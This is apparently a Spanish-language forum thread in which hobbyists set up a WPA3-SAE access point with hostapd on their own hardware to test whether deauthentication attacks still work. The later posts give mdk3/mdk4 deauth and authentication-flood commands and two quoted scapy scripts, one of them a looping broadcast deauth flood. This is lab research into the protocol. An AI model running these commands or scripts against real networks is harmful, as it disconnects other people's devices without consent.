Tema para recoger datos sobre la deauth en el nuevo WPA SAE

Buenas :slight_smile:

Rapidamente para ver si hay gente que esta interesada a hacer algunas pruebas.

Como lo sabemos el WPA3 va a ser implementado poco a poco en el futuro.Voy a hablar del WPA3 SAE y no del mix WPA2/3.Lo que sabemos es que la deauth con aireplay-ng no andara mas pero se queda muy “turbio” lo de la deauth con mdk3/4.Me gustaria que hacemos pruebas con mdk3/4 encontra una red en **WPA3 SAE **para ver si anda la deauth o no.

Para eso no necesitamos tener un router compatible WPA3, hostapd hace el trabajo el solo :cool:

Si se tiene el paquete “normal” de hostapd quita lo:

apt remove hostapd

Aqui dejo mi fichero .config de hostapd para la compilacion y como poner todo bien para que anda hostapd-2.10 con varias opciones con wps-pbc, freeradius etc… (claro puedes quitar cosas si no te gusta).

Antes de todo para probar si la deauth anda tenemos que conectar un dispositivo a la red o sea necesitamos un servidor dhcp y iptables (por si a caso…) y libssl para hostapd etc…:

apt install -y isc-dhcp-server iptables pkg-config libnl-3-dev libssl-dev libnl-genl-3-dev xterm

Buscar hostapd 2.10 y hacer la instalacion y configuracion:

cd /root/ wget https://w1.fi/cgit/hostap/snapshot/hostap_2_10.tar.gz && tar -zxf hostap_2_10.tar.gz cd /root/hostap_2_10/hostapd cp defconfig .config nano .config

Y poner lo siguiente en el fichero .config: (puedes ver que el SAE es al fin del fichero)

[code]# Example hostapd build time configuration

This file lists the configuration options that are used when building the

hostapd binary. All lines starting with # are ignored. Configuration option

lines must be commented out complete, if they are not to be included, i.e.,

just setting VARIABLE=n is not disabling that variable.

This file is included in Makefile, so variables like CFLAGS and LIBS can also

be modified from here. In most cass, these lines should use += in order not

to override previous values of the variables.

Driver interface for Host AP driver

CONFIG_DRIVER_HOSTAP=y

Driver interface for wired authenticator

#CONFIG_DRIVER_WIRED=y

Driver interface for drivers using the nl80211 kernel interface

CONFIG_DRIVER_NL80211=y

QCA vendor extensions to nl80211

#CONFIG_DRIVER_NL80211_QCA=y

driver_nl80211.c requires libnl. If you are compiling it yourself

you may need to point hostapd to your version of libnl.

#CFLAGS += -I$
#LIBS += -L$

Use libnl v2.0 (or 3.0) libraries.

#CONFIG_LIBNL20=y

Use libnl 3.2 libraries (if this is selected, CONFIG_LIBNL20 is ignored)

CONFIG_LIBNL32=y

Driver interface for FreeBSD net80211 layer (e.g., Atheros driver)

#CONFIG_DRIVER_BSD=y
#CFLAGS += -I/usr/local/include
#LIBS += -L/usr/local/lib
#LIBS_p += -L/usr/local/lib
#LIBS_c += -L/usr/local/lib

Driver interface for no driver (e.g., RADIUS server only)

#CONFIG_DRIVER_NONE=y

IEEE 802.11F/IAPP

CONFIG_IAPP=y

WPA2/IEEE 802.11i RSN pre-authentication

CONFIG_RSN_PREAUTH=y

IEEE 802.11w (management frame protection)

CONFIG_IEEE80211W=y

Support Operating Channel Validation

#CONFIG_OCV=y

Integrated EAP server

CONFIG_EAP=y

EAP Re-authentication Protocol (ERP) in integrated EAP server

CONFIG_ERP=y

EAP-MD5 for the integrated EAP server

CONFIG_EAP_MD5=y

EAP-TLS for the integrated EAP server

CONFIG_EAP_TLS=y

EAP-MSCHAPv2 for the integrated EAP server

CONFIG_EAP_MSCHAPV2=y

EAP-PEAP for the integrated EAP server

CONFIG_EAP_PEAP=y

EAP-GTC for the integrated EAP server

CONFIG_EAP_GTC=y

EAP-TTLS for the integrated EAP server

CONFIG_EAP_TTLS=y

EAP-SIM for the integrated EAP server

#CONFIG_EAP_SIM=y

EAP-AKA for the integrated EAP server

#CONFIG_EAP_AKA=y

EAP-AKA’ for the integrated EAP server

This requires CONFIG_EAP_AKA to be enabled, too.

#CONFIG_EAP_AKA_PRIME=y

EAP-PAX for the integrated EAP server

#CONFIG_EAP_PAX=y

EAP-PSK for the integrated EAP server (this is not needed for WPA-PSK)

#CONFIG_EAP_PSK=y

EAP-pwd for the integrated EAP server (secure authentication with a password)

CONFIG_EAP_PWD=y

EAP-SAKE for the integrated EAP server

#CONFIG_EAP_SAKE=y

EAP-GPSK for the integrated EAP server

#CONFIG_EAP_GPSK=y

Include support for optional SHA256 cipher suite in EAP-GPSK

#CONFIG_EAP_GPSK_SHA256=y

EAP-FAST for the integrated EAP server

#CONFIG_EAP_FAST=y

EAP-TEAP for the integrated EAP server

Note: The current EAP-TEAP implementation is experimental and should not be

enabled for production use. The IETF RFC 7170 that defines EAP-TEAP has number

of conflicting statements and missing details and the implementation has

vendor specific workarounds for those and as such, may not interoperate with

any other implementation. This should not be used for anything else than

experimentation and interoperability testing until those issues has been

resolved.

#CONFIG_EAP_TEAP=y

Wi-Fi Protected Setup (WPS)

CONFIG_WPS=y

Enable UPnP support for external WPS Registrars

CONFIG_WPS_UPNP=y

Enable WPS support with NFC config method

CONFIG_WPS_NFC=y

EAP-IKEv2

#CONFIG_EAP_IKEV2=y

Trusted Network Connect (EAP-TNC)

#CONFIG_EAP_TNC=y

EAP-EKE for the integrated EAP server

#CONFIG_EAP_EKE=y

PKCS#12 (PFX) support (used to read private key and certificate file from

a file that usually has extension .p12 or .pfx)

CONFIG_PKCS12=y

RADIUS authentication server. This provides access to the integrated EAP

server from external hosts using RADIUS.

CONFIG_RADIUS_SERVER=y

Build IPv6 support for RADIUS operations

CONFIG_IPV6=y

IEEE Std 802.11r-2008 (Fast BSS Transition)

#CONFIG_IEEE80211R=y

Use the hostapd’s IEEE 802.11 authentication (ACL), but without

the IEEE 802.11 Management capability (e.g., FreeBSD/net80211)

#CONFIG_DRIVER_RADIUS_ACL=y

IEEE 802.11n (High Throughput) support

CONFIG_IEEE80211N=y

Wireless Network Management (IEEE Std 802.11v-2011)

Note: This is experimental and not complete implementation.

#CONFIG_WNM=y

IEEE 802.11ac (Very High Throughput) support

CONFIG_IEEE80211AC=y

IEEE 802.11ax HE support

Note: This is experimental and work in progress. The definitions are still

subject to change and this should not be expected to interoperate with the

final IEEE 802.11ax version.

#CONFIG_IEEE80211AX=y

Remove debugging code that is printing out debug messages to stdout.

This can be used to reduce the size of the hostapd considerably if debugging

code is not needed.

#CONFIG_NO_STDOUT_DEBUG=y

Add support for writing debug log to a file: -f /tmp/hostapd.log

Disabled by default.

CONFIG_DEBUG_FILE=y

Send debug messages to syslog instead of stdout

#CONFIG_DEBUG_SYSLOG=y

Add support for sending all debug messages (regardless of debug verbosity)

to the Linux kernel tracing facility. This helps debug the entire stack by

making it easy to record everything happening from the driver up into the

same file, e.g., using trace-cmd.

#CONFIG_DEBUG_LINUX_TRACING=y

Remove support for RADIUS accounting

#CONFIG_NO_ACCOUNTING=y

Remove support for RADIUS

#CONFIG_NO_RADIUS=y

Remove support for VLANs

#CONFIG_NO_VLAN=y

Enable support for fully dynamic VLANs. This enables hostapd to

automatically create bridge and VLAN interfaces if necessary.

CONFIG_FULL_DYNAMIC_VLAN=y

Use netlink-based kernel API for VLAN operations instead of ioctl()

Note: This requires libnl 3.1 or newer.

#CONFIG_VLAN_NETLINK=y

Remove support for dumping internal state through control interface commands

This can be used to reduce binary size at the cost of disabling a debugging

option.

#CONFIG_NO_DUMP_STATE=y

Enable tracing code for developer debugging

This tracks use of memory allocations and other registrations and reports

incorrect use with a backtrace of call (or allocation) location.

#CONFIG_WPA_TRACE=y

For BSD, comment out these.

#LIBS += -lexecinfo
#LIBS_p += -lexecinfo
#LIBS_c += -lexecinfo

Use libbfd to get more details for developer debugging

This enables use of libbfd to get more detailed symbols for the backtraces

generated by CONFIG_WPA_TRACE=y.

#CONFIG_WPA_TRACE_BFD=y

For BSD, comment out these.

#LIBS += -lbfd -liberty -lz
#LIBS_p += -lbfd -liberty -lz
#LIBS_c += -lbfd -liberty -lz

hostapd depends on strong random number generation being available from the

operating system. os_get_random() function is used to fetch random data when

needed, e.g., for key generation. On Linux and BSD systems, this works by

reading /dev/urandom. It should be noted that the OS entropy pool needs to be

properly initialized before hostapd is started. This is important especially

on embedded devices that do not have a hardware random number generator and

may by default start up with minimal entropy available for random number

generation.

As a safety net, hostapd is by default trying to internally collect

additional entropy for generating random data to mix in with the data

fetched from the OS. This by itself is not considered to be very strong, but

it may help in cases where the system pool is not initialized properly.

However, it is very strongly recommended that the system pool is initialized

with enough entropy either by using hardware assisted random number

generator or by storing state over device reboots.

hostapd can be configured to maintain its own entropy store over restarts to

enhance random number generation. This is not perfect, but it is much more

secure than using the same sequence of random numbers after every reboot.

This can be enabled with -e command line option. The specified

file needs to be readable and writable by hostapd.

If the os_get_random() is known to provide strong random data (e.g., on

Linux/BSD, the board in question is known to have reliable source of random

data from /dev/urandom), the internal hostapd random pool can be disabled.

This will save some in binary size and CPU use. However, this should only be

considered for builds that are known to be used on devices that meet the

requirements described above.

#CONFIG_NO_RANDOM_POOL=y

Should we attempt to use the getrandom(2) call that provides more reliable

yet secure randomness source than /dev/random on Linux 3.17 and newer.

Requires glibc 2.25 to build, falls back to /dev/random if unavailable.

#CONFIG_GETRANDOM=y

Should we use poll instead of select? Select is used by default.

#CONFIG_ELOOP_POLL=y

Should we use epoll instead of select? Select is used by default.

#CONFIG_ELOOP_EPOLL=y

Should we use kqueue instead of select? Select is used by default.

#CONFIG_ELOOP_KQUEUE=y

Select TLS implementation

openssl = OpenSSL (default)

gnutls = GnuTLS

internal = Internal TLSv1 implementation (experimental)

linux = Linux kernel AF_ALG and internal TLSv1 implementation (experimental)

none = Empty template

#CONFIG_TLS=openssl

TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1)

can be enabled to get a stronger construction of messages when block ciphers

are used.

CONFIG_TLSV11=y

TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.2)

can be enabled to enable use of stronger crypto algorithms.

#CONFIG_TLSV12=y

Select which ciphers to use by default with OpenSSL if the user does not

specify them.

#CONFIG_TLS_DEFAULT_CIPHERS=“DEFAULT:!EXP:!LOW”

If CONFIG_TLS=internal is used, additional library and include paths are

needed for LibTomMath. Alternatively, an integrated, minimal version of

LibTomMath can be used. See beginning of libtommath.c for details on benefits

and drawbacks of this option.

#CONFIG_INTERNAL_LIBTOMMATH=y
#ifndef CONFIG_INTERNAL_LIBTOMMATH
#LTM_PATH=/usr/src/libtommath-0.39
#CFLAGS += -I$(LTM_PATH)
#LIBS += -L$(LTM_PATH)
#LIBS_p += -L$(LTM_PATH)
#endif

At the cost of about 4 kB of additional binary size, the internal LibTomMath

can be configured to include faster routines for exptmod, sqr, and div to

speed up DH and RSA calculation considerably

#CONFIG_INTERNAL_LIBTOMMATH_FAST=y

Interworking (IEEE 802.11u)

This can be used to enable functionality to improve interworking with

external networks.

#CONFIG_INTERWORKING=y

Hotspot 2.0

#CONFIG_HS20=y

Enable SQLite database support in hlr_auc_gw, EAP-SIM DB, and eap_user_file

#CONFIG_SQLITE=y

Enable Fast Session Transfer (FST)

#CONFIG_FST=y

Enable CLI commands for FST testing

#CONFIG_FST_TEST=y

Testing options

This can be used to enable some testing options (see also the example

configuration file) that are really useful only for testing clients that

connect to this hostapd. These options allow, for example, to drop a

certain percentage of probe requests or auth/(re)assoc frames.

#CONFIG_TESTING_OPTIONS=y

Automatic Channel Selection

This will allow hostapd to pick the channel automatically when channel is set

to “acs_survey” or “0”. Eventually, other ACS algorithms can be added in

similar way.

Automatic selection is currently only done through initialization, later on

we hope to do background checks to keep us moving to more ideal channels as

time goes by. ACS is currently only supported through the nl80211 driver and

your driver must have survey dump capability that is filled by the driver

during scanning.

You can customize the ACS survey algorithm with the hostapd.conf variable

acs_num_scans.

Supported ACS drivers:

* ath9k

* ath5k

* ath10k

For more details refer to:

http://wireless.kernel.org/en/users/Documentation/acs

#CONFIG_ACS=y

Multiband Operation support

These extentions facilitate efficient use of multiple frequency bands

available to the AP and the devices that may associate with it.

#CONFIG_MBO=y

Client Taxonomy

Has the AP retain the Probe Request and (Re)Association Request frames from

a client, from which a signature can be produced which can identify the model

of client device like “Nexus 6P” or “iPhone 5s”.

CONFIG_TAXONOMY=y

Fast Initial Link Setup (FILS) (IEEE 802.11ai)

#CONFIG_FILS=y

FILS shared key authentication with PFS

#CONFIG_FILS_SK_PFS=y

Include internal line edit mode in hostapd_cli. This can be used to provide

limited command line editing and history support.

#CONFIG_WPA_CLI_EDIT=y

Opportunistic Wireless Encryption (OWE)

Experimental implementation of draft-harkins-owe-07.txt

#CONFIG_OWE=y

Airtime policy support

#CONFIG_AIRTIME_POLICY=y

Override default value for the wpa_disable_eapol_key_retries configuration

parameter. See that parameter in hostapd.conf for more details.

#CFLAGS += -DDEFAULT_WPA_DISABLE_EAPOL_KEY_RETRIES=1
CONFIG_SAE=y[/code]

Terminamos las cosas:

make && make install

Una ves hecho, dejo el pequenito viejo script bash que suelo usar para automatizar todo:

[code]#!/bin/bash

rm -rf /etc/dhcp/dhcpd.conf
rm -rf /tmp/hostapd.conf
touch /etc/dhcp/dhcpd.conf
touch /tmp/hostapd.conf
sleep 1;
cat <<-EOF > /tmp/hostapd.conf
interface=wlan0
driver=nl80211
ssid=REDenWPA3
hw_mode=g
ieee80211n=1
channel=7
wpa=2
wpa_passphrase=1234567890
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=2
EOF
sleep 2;
cat <<-EOF > /etc/dhcp/dhcpd.conf
option T150 code 150 = string;
deny client-updates;
one-lease-per-client false;
allow bootp;
ddns-updates off;
ddns-update-style interim;
authoritative;
subnet 175.0.0.0 netmask 255.255.255.0 {
interface wlan0;
range 175.0.0.2 175.0.0.10;
option routers 175.0.0.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 175.0.0.1;
allow unknown-clients;
}
EOF
sleep 1;
echo -e “\e[1;34m[]\e[0m Starting hostapd, wait…"
xterm -hold -bg ‘#000000’ -fg ‘#3A94FF’ -e hostapd /tmp/hostapd.conf &> /dev/null &
echo $! >/tmp/hostapd.pid
sleep 5;
ifconfig wlan0 up
sysctl net.ipv4.ip_forward=1
ifconfig wlan0 175.0.0.1 netmask 255.255.255.0
ifconfig wlan0 mtu 1400
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
sleep 2;
route add -net 175.0.0.0 netmask 255.255.255.0 gw 175.0.0.1 &> /dev/null
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 175.0.0.1
iptables -P FORWARD ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 175.0.0.1:80
sleep 1;
echo > ‘/var/lib/dhcp/dhcpd.leases’
sleep 1;
xterm -hold -bg ‘#000000’ -fg ‘#3A94FF’ -e dhcpd -d /etc/dhcpd.conf &> /dev/null &
sleep 3;
echo -e "\e[1;34m[
]\e[0m All task are done…”[/code]

Inicia lo con:

bash nombredelscript.sh

Ahora tienes un AP en WPA3 SAE y puedes conectar un dispositivo a la red.

Detaille del fichero hostapd.conf: (canal 7 para no molestar a nadie con la deauth y en 2.4GHz)

interface=wlan0 driver=nl80211 ssid=REDenWPA3 hw_mode=g ieee80211n=1 channel=7 wpa=2 wpa_passphrase=1234567890 wpa_key_mgmt=SAE rsn_pairwise=CCMP ieee80211w=2

Lo que se tiene que saber con esa prueba:

-Si se ha usado mdk3 o mdk4 (no te pido el comando) solamente la version de mdk3 o 4
-Que tipo de dispositivo es conectado a la red (si por ejemplo es un windows 10 o 11, un android 11 o un iphone)
-Tipo de tarjeta wifi que ha servido para hacer la deauth
-El tiempo que te ha tomado de hacer la deauth
-Y claro si la deauth ha andado para ver si el dispositivo conectado a la red en WPA3 SAE fue desconectado o no

Mas hacemos pruebas mas datos tendremos y podremos ver las cosas mas claramente :slight_smile:

@++

¡Excellente iniciativa! :plus_un:
Si me permites;

A mi me parece fundamental dar el comando empleado para conocer los argumentos empleados.
Diría que más precisos serán los reportes, mas faćil será reproducir los experimentos en nuestros laboratorios para estudiar y adelantar más rápido. :slight_smile:
En todos casos es un campo “nuevo” (si no me equivoco se lanzó oficialmente en marso 2019) a estudiar y un reto muy interesante, :cool:

Si he dicho eso es que quisas la gente que prueba (y que pasa tiempo en eso) no quiere dar sus comandos si estan bien “agressivo”, estuve en ese caso al empezo de mdk3, airbase-ng etc… no queria compartir todo, eso pienso que es a la gente de elegir si quiere o no quiere compartir sus trucos pero claro si comparte mejor estara para todos :cool:

Una cosa extraña me ha ocurrido…
He configurado un PA de testeo con OpenWRT habilitando WPA3 “estricto”
Y he puesto el dichoso “Management Frame Protection” (protocolo 802.11w ) cómo obligatorio (“required”)
https://www.wifi-libre.com/img/members/3/DoS_WPA3_1.jpg
No he habilitado la “fast transition” (802.11r) para no facilitarme las cosas en pruebas con rogue AP

Tengo entonces a un PA en WPA3 SAE con CCMP al cual conecto mi portátil (OS debian stable)
Y uso un USB con ar9271 desde mi sobre-mesa para la DoS
https://www.wifi-libre.com/img/members/3/DoS_WPA3_2.jpg
La DoS es efectiva, rápida y eficaz y el cliente está desconectado con fuerza.
El handshake es basura, una PMKID con 0, esto es lo esperado y confirma que estamos bien en WPA3 AES.
Lo que no estaba esperado es que la DoS funcione…

Ahora, ojo, hay una nota clara en la interfaz de configuración: El estándar 802,11w no funciona “del todo” con algunos drivers.
El router que uso es un aracdyan VR-3025um de jazztel, lleva un triste chipset broadcom b/g 54Mbps, muy desfasado.
No hemos aprendido gran cosa a parte de que un router puede ser apto para WPA3 y cifrar perfectamente con SAE sin ser compatible con la protección Anti-DoS.
Hablamos de routers muy viejos, los drivers citados en ejemplos, mxlwifi, son para chipset Marvel, unas antigüedades.
Y cuando dicen “no funciona del todo” quieren decir “no funciona para nada”
No aguanta el ataque aireplay-ng ni un par de segundos.

Muy interesante :cool:

Adémas todo se queda muy claro con los screenshots.

El router que tienes sera muy viejo si porqué sin el wpa3 sae haciendo dos con aireplay-ng solo, la mayoridad de los router en wpa2 aguantan ese ataque por eso podemos agradecer que hay mdk3/4.

Tendré que probar con mi ordenador protatil que tiene menos de 2 anos con su intel 7260 en AP y un android 11 o windows 11 actualizado como cliente pero no tengo ni el android nuevo ni esa m… de windows 11 :smiley:

Probaré la deauth con todas mis tarjetas wifi para ver lo que puede pasar.

De toda manera gracias por haber probado espero que la gente va a séguir tu ejemplo :slight_smile:

Bueno he probado varias cosas con mdk3 y mdk4 esa noche y por el momento nada, no consiguo desconectar el ordenador de la victima a la red en wpa3 sae → (debian 11 con ar9271 alfanha para la victima y hostapd con intel 7260 como AP en otro debian11 y para terminar un tercero ordenador para el ataque con kali y un rt8812au de la alfa036ach para hacer la deauth).

Tengo que ver mas cosas y comentaré un poco todo eso en fin de semana con los comandos que he probado.

Sí, es un viejo cacharro rescatado de la basura hace diez años atrasado, o algo así… Es este mismo:
https://www.wifi-libre.com/img/members/3/firm_2.jpg
Su wifi es pésimo, tiene poca RAM y poca memoria pero es compatible con las ultimas versiones de OpenWRT, para estudiar y hacerse la mano con Openwrt es de lo más practico.
Es una pena que no sea compatible con el 802.11 w… Tendré que usar sí o sí hostapd para mi PA “víctima”

Blop…
Por curiosidad, cuando haces una DoS aireplay-ng ¿Qué pasa en la salida de aireplay-ng en la última columna, la de la tasa de inyección de ACK?

Hola Koala.

Probé primero con berate-ap ya que tiene una opción para levantar tu AP con protección WPA3, pero al parecer lo levanta con WEP, cosa que no deja de sorprenderme.
Visto que con berate-ap nada, seguí tu instrucciones para compilar hostapd y lanzar tu script.

Estoy usando un kali en virtual que es lo que más a mano tengo. Tuve que instalar como dependencias para la compilación de hostapd libnl-genl-3-dev , libssl-dev , pkg-config y libnl-3-dev. Lo digo por si a alguien le da errores al compilar. Y luego para que chute el script, tuve que instalar xterm. Todas las dependencias están en repositorios.

Una vez instalado todo, cuando lanzo el script, me crea la red, pero me la crea sin protección, abierta. Y aparte el dichoso isc-dhcp-server no chuta bien. Creo que nunca he funcionado a gusto con isc-dhcp-server. Dnsmasq is god…
No tengo tiempo ahora de ponerme a depurar. En otro momento le echo un ojo.

Una cosa, la versión de hostapd que hay en repositorios de kali es la 2.10, que entiendo es la misma que animas a compilar. Crees que la complicación que hace por default kali no incluya wpa3 sae? hay que compilar hostapd “a mano” a la fuerza? Cuando tenga un rato le echo un vistazo y te digo algo.

Será la misma versión que en debian sid y por lo visto no incluye el WPA3 por defecto:

sudo hostapd -v hostapd v2.10 User space daemon for IEEE 802.11 AP management, IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator Copyright (c) 2002-2022, Jouni Malinen <j@w1.fi> and contributors
edit -olvidar lo que he dicho- en otro tema ensayan una versión compilada con

CONFIG_SAE=y

Y es exactamente la misa salida (sin WPA3).
el tema es este: Running a WPA3 access point with hostapd 2.7 and SAE/Dragonfly

@Kcdtv

Mmmh la verdad es que no he probado con aireplay-ng pero te haré un screen :slight_smile:

@Javierbu

Si eso ees culpa mia… tengo todo instalado desde un monton de tiempo con el script de instalacion de hostbase y no me habia dado cuenta que el script bash que uso necesita esas dépendencias para que anda hostapd… suerte que hay gente como tu que me recuerda esas cosas :cool: voy a modificar mi primero mensaje para que se queda claro para todos.

Yo me anda bien pero si estas mas a gusto con dnsmasq me parece bien al final que sea isc-dhcp-server o dnsmasq sirven a la misma cosa :slight_smile: Lo que no entiendo es que te sale una red abierta con hostapd.No veo errores en fichero hostapd.conf pero quisas si lo inicias con las opciones -KK tendremos mas informaciones sobre lo que pasa.

hostapd -KK hostapd.conf

Yo siempre he usado la compilacion “a mano” por probar cosas con el wps_pbc freeradius etc y como menciona Kcdtv hay que poner CONFIG_SAE=y al fin de fichero de compilacion, si miras al fin del fichero que he puesto en mi primero mensaje el “config sae” esta puesto al fin tambien.

Edito mi primero mensaje para poner las dependencias que se necesita , gracias por tu aporte en el tema :slight_smile:

Examinando el ultimo changelog de hostpad vemos que han trabajado bastante sobre la seguridad.

[quote]2022-01-16 - v2.10
* SAE changes
- improved protection against side channel attacks
https://w1.fi/security/2022-1/]
- added option send SAE Confirm immediately (sae_config_immediate=1)
after SAE Commit
- added support for the hash-to-element mechanism (sae_pwe=1 or
sae_pwe=2)
- fixed PMKSA caching with OKC
- added support for SAE-PK
* EAP-pwd changes
- improved protection against side channel attacks
https://w1.fi/security/2022-1/]
* fixed WPS UPnP SUBSCRIBE handling of invalid operations
https://w1.fi/security/2020-1/]
* fixed PMF disconnection protection bypass
https://w1.fi/security/2019-7/][/quote]
La última corrección de código citada trata directamente de la protección anti-DOS (PMF)
cito el reporte sobre la vulnerabilidad :

[quote]Vulnerability

hostapd (and wpa_supplicant when controlling AP mode) did not perform
sufficient source address validation for some received Management frames
and this could result in ending up sending a frame that caused
associated stations to incorrectly believe they were disconnected from
the network even if management frame protection (also known as PMF) was
negotiated for the association. This could be considered to be a denial
of service vulnerability since PMF is supposed to protect from this type
of issues. It should be noted that if PMF is not enabled, there would be
no protocol level protection against this type of denial service
attacks.

An attacker in radio range of the access point could inject a specially
constructed unauthenticated IEEE 802.11 frame to the access point to
cause associated stations to be disconnected
and require a reconnection
to the network.[/quote]
Todo esto para decir que además de usar material algo moderno (moderno es exagerar, un viejo ar9271 no pasa de moda y no daré problemas), es importante trabajar con las versiones 2.10 de hostapd y wpa_supplicant para enfrentarse a un protocolo bien implementado.

Si como lo dices es importante que la gente prueba con la version 2.10 de hostapd.

Una cosa que se me ha olvidado de décir es que consejo de fijar la red en wpa3 sae a atacar con airodump antes de iniciar el ataque deauth, por ejemplo hay comandos con mdk4 que no andan en el wpa2 normal si la red no esta fijado antes con airodump (y ademas tener airodump abierto a lado permite de ver lo que pasa y si se desconecta la victima de su red aunqué tenemos la “PMKID 0”)

Ejemplo:

airodump-ng --encrypt wpa -c CANALDELARED INTERFAZ

Y luego iniciar mdk3 o 4 con lo que sea en comando.

Vengo de pasar una buena hora a probar cosas con mdk3/4 y parece que el ieee80211w hace bien su trabajo por el momento.

Lo que he probado, los modos de ataque: b a d e y pocas cosas del **f ** porque no lo entiendo muy bien, los modos d y e son los que suelo usar con hostbase en el wpa2 clasico (d para el 2.4GHz y e para bandas 5GHz).El modo “x” me esta saliendo el error “Open pocs dir error!” tendré que ver porqué

Ver los modos de ataque de mdk4:

mdk4 -h

https://zupimages.net/up/23/02/u7et.png

Lo que veo en eso:

los modos “a” y “b” no séguiré con esos, en el “a” hostapd lo detecta como “Unknown authentification transaction number” en los logs y nunca pasa nada.Con el modo “b” a parte de trolear y de hacer una mezcla de todo los ssid no sirve para hacer deauth.

Con los otros modos “d” “e” “f” podemos ver que mdk4 esta trabajando pero de mi lado no desconecta la victima.Tengo que mirar mas inforcaciones sobre el “f” porque hay algunas opciones que no veo bien a que pueden servir.

Para tener todo bien con la ayuda completa de mdk4 sobre los diferentes modos:

mdk4 --fullhelp

Ahora voy a dar algunos comandos que he probado para que la gente prueba tambien sin tener que buscar mucho y que sea mas rapido.No hay todos los comandos que he probado pero una buena parte.No voy a explicar todo lo que hacen esos comandos porqué sino voy a pasar mas tiempo que las ostia a escribir ese mensaje… :smiley: ademas con la ayuda completa de mdk4 se puede ver todo bien.

El modo “a”

mdk4 wlan1 a -m BSSID

El modo “b”

mdk4 wlan1 b -n KoalaWPA3 -t 0 -w a -m

El modo “d”

 mdk4 wlan1 d -E ssid -B bssidelared -S macvictima

(mdk3 y el modo d tambien):

mdk3 wlan1 d -g -t bssidelared -c canal 

El modo “e”

 mdk4 wlan1 e -t bssidelared -l -c canal
 mdk4 wlan1 e -t bassidelared -l -c canal -p 800

El modo “f” he probado varias cosas pero no voy a hablar de eso porqué tendré que mirar cosas.

Para cada ataque: fijando la red antes con airodump y he dejado entre 5 y 10 minutos por cada comando.

A ver si la gente prueba eso y espero tambien con **mas comandos ** y opciones que lo que he hecho ya :cool:

@Kcdtv

El screen sobre los ACK

https://zupimages.net/up/23/02/g3di.png

Gracias por la salida. :slight_smile:
Interesante…
Me imaginaba que aireplay-ng pararía de dar los ACK cómo procesados mientras se espera la resolución del challenge MFP
Pero los pone cómo procesados, y en tu caso con la tasa máxima…
Lo que da a pensar que el ataque es efectivo cuando no estamos haciendo nada.
Quizá no sea de más pillar el trafico y echar un ojo a esto para saber exactamente cómo detectar el challenge propio al 802.11 w
Para luego proponer una actualización a aireplay-ng, es mejor si detecta que no está haciendo nada (y que advierte el usuario)
Un día de estos :smiley:
Lo importante ahora es darle caña a mdk3 y 4 (o cualquier cosa) para lograr una DoS en WPA3.

C’est plus difficile de suivre en Espagnol :frowning:
Merci Koala & kcdtv

Tengo una idea (quisas no vale nada) pero quiero poner la aqui por si acaso…

El modo “a” de mdk4 por “authentification denial of service” no anda y es detectado como “unknown transaction number” en hostapd con el AP en wpa3/sae.Ese modo no anda tambien con la mayoridad de los routers moderno en wpa2.No parace que hace otra cosa que asociarse con el AP con MAC valida (opcion -m) o no.

Que podria pasar si hacemos la misma cosa pero generando tentativas de conexiones completas con claves wpa ? (aunqué estan falsa) para enviar al AP un monton de trabajo a hacer con el handshake y “cargar” lo maximo posible.Quisas con scapy ? no sé.

Buenas. :slight_smile:
No he tenido tiempo de responderte ayer.
Sí, el “beacon flood” solo no basta contra un PA un poco decente; y hace años que es así.
Debemos buscar algo diferente o combinar lo con algo más (cómo por ejemplo añadir la autenticación)
En este Generating WiFi communication in Scapy tool enseñan cómo hacer la auth con scapy.

[code]#!/usr/bin/env python
from scapy.all import *

recipients_mac_adress = ‘05:12:54:15:54:11’
your_mac_adress = ‘02:26:12:43:37:f5’
ssid = ‘Sc45y + W1F1’
channel = chr(11)
interface = ‘wlp5s0’

ALGO_OPEN_AUTH = 0 # open authentication mode
START_SEQNUM = 1 # sequence number

#authentication
frame1 = RadioTap()
/Dot11(type=0, subtype=11, addr1=recipients_mac_adress, addr2=your_mac_adress, addr3=recipients_mac_adress)
/Dot11Auth(algo=ALGO_OPEN_AUTH, seqnum=START_SEQNUM)
answer = srp1(frame1, iface=interface)
answer.show()

#association
frame2 = RadioTap()
/Dot11(type=0, subtype=0, addr1=recipients_mac_adress, addr2=your_mac_adress, addr3=recipients_mac_adress)
/Dot11AssoReq()
/Dot11Elt(ID=‘SSID’, info=ssid)
/Dot11Elt(ID=‘Rates’, info=‘\x82\x84\x8b\x96\x0c\x12\x18’)
/Dot11Elt(ID=‘ESRates’, info=‘\x30\x48\x60\x6c’)
answer = srp1(frame2, iface=interface)
answer.show()[/code]
Es para wpa2, no sé qué hará en wpa3, pero se puede también probar en WPA2 ya que de todo modo inyectar asociaciones no es eficiente.
En el mismo tema dan también un ejemplo de script para hacer una DoS

[code]#!/usr/bin/env python
from scapy.all import *

target_mac_adress = ‘ff:ff:ff:ff:ff:ff’
AP_mac_adress = ‘05:12:54:15:54:11’
interface = ‘wlp5s0’

quantity = 10
delay = 2

print “deauth attack from {} to {}”.format(AP_mac_adress, target_mac_adress)
while True:
frame = RadioTap()
/Dot11(type=0, subtype=12, addr1=target_mac_adress, addr2=AP_mac_adress, addr3=AP_mac_adress)
/Dot11Deauth(reason=7)
sendp(frame, iface=interface, count=quantity)
time.sleep(delay)[/code]

Gracias voy a mirar eso :cool:

scapy es muy powerfull a ver lo que podemos hacer con el :slight_smile: